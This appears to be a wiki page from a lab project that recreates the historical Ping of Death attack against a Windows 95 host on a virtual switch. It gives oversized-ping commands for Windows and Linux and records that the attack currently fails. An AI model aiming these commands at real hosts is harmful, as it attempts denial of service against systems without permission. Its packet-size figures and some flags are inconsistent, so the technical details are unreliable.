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Ping of Death

Glenn Pegden edited this page May 6, 2024 · 1 revision

Status: Not Working (Reason unknown)

History: https://en.wikipedia.org/wiki/Ping_of_death

Hosts Needed: VDE Switch, One of (Win 95), any OS capable of sending ICMP pings whose size if larger than 65,548 bytes (most).

Technique:

From a Windows Client:
ping -l 65500 -w 1 -n 1 <ip address>

From a Linux/Unix Client:
ping -s 65500 -t 1 -n 1 <ip address>

Notes: This is currently not working. No idea why. Possibly VDE is doing something that prevents packets larger than the spec, or messes with fragmentation or something

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